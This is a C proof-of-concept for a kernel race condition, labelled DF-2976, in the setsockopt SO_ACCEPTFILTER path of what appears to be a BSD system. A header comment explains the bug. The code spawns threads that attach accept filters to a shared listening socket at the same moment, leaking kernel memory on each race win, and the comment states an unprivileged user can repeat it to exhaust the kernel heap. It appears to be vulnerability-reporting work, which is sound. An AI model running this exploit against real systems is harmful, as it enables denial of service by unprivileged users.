/*
 * DF-2976 - unprivileged SO_ACCEPTFILTER duplicate-attach race.
 *
 * sys/kern/uipc_socket.c do_setopt_accept_filter() reads so->so_accf ONCE at
 * function entry (line 1999), re-checks it at line 2026, then performs TWO
 * sleepable (M_WAITOK) allocations inside the check-to-store window
 * (lines 2031, 2042) before publishing `so->so_accf = af` (line 2061).
 * No lock is held: kern_setsockopt() calls sosetopt() directly on the
 * syscall thread (uipc_syscalls.c:1230).
 *
 * Two threads sharing a listener fd both observe af == NULL, both attach,
 * the second store overwrites the first `struct so_accf` + its
 * so_accept_filter_str -- both M_ACCF -- which are never freed (the socket
 * keeps only the last pointer; freed only via sodealloc for the CURRENT one).
 * Each race win leaks 1 x so_accf (24 bytes) + 1 x name string (~16 bytes).
 *
 * Repeatable by an unprivileged user => unbounded kernel heap exhaustion.
 *
 * Output: how many iterations had >=2 threads return success (each such
 * iteration == one leaked pair). Cross-check with `vmstat -m | grep accf`.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

#ifndef SO_ACCEPTFILTER
#define SO_ACCEPTFILTER 0x1000
#endif

/* struct accept_filter_arg comes from <sys/socket.h> (__BSD_VISIBLE) */

static volatile int go;

static void *worker(void *arg)
{
	intptr_t fd = (intptr_t)arg;
	struct accept_filter_arg afa;

	memset(&afa, 0, sizeof(afa));
	strcpy(afa.af_name, "httpready");
	while (!go)
		usleep(50);
	if (setsockopt((int)fd, SOL_SOCKET, SO_ACCEPTFILTER, &afa,
		       sizeof(afa)) == 0)
		return (void *)1;
	return (void *)0;
}

int main(int argc, char **argv)
{
	int iterations = argc > 1 ? atoi(argv[1]) : 2000;
	int nthreads = argc > 2 ? atoi(argv[2]) : 4;
	int it, both = 0, single = 0, none = 0;

	if (nthreads > 16)
		nthreads = 16;

	for (it = 0; it < iterations; it++) {
		struct sockaddr_in sa;
		pthread_t th[16];
		int fd, i, zeros = 0;

		fd = socket(AF_INET, SOCK_STREAM, 0);
		if (fd < 0) { perror("socket"); return 1; }
		memset(&sa, 0, sizeof(sa));
#ifdef HAVE_SIN_LEN
		sa.sin_len = sizeof(sa);
#endif
		sa.sin_family = AF_INET;
		sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
		sa.sin_port = 0;
		if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
			perror("bind"); return 1;
		}
		if (listen(fd, 4) < 0) { perror("listen"); return 1; }

		go = 0;
		for (i = 0; i < nthreads; i++)
			pthread_create(&th[i], NULL, worker, (void *)(intptr_t)fd);
		go = 1;
		for (i = 0; i < nthreads; i++) {
			void *rv = NULL;
			pthread_join(th[i], &rv);
			if ((intptr_t)rv == 1)
				zeros++;
		}
		if (zeros >= 2) both++;
		else if (zeros == 1) single++;
		else none++;
		close(fd);
	}
	printf("iterations=%d threads=%d\n", iterations, nthreads);
	printf("iterations with >=2 attach successes (leaked so_accf+str): %d\n", both);
	printf("iterations with exactly 1 success: %d\n", single);
	printf("iterations with 0 successes: %d\n", none);
	return 0;
}
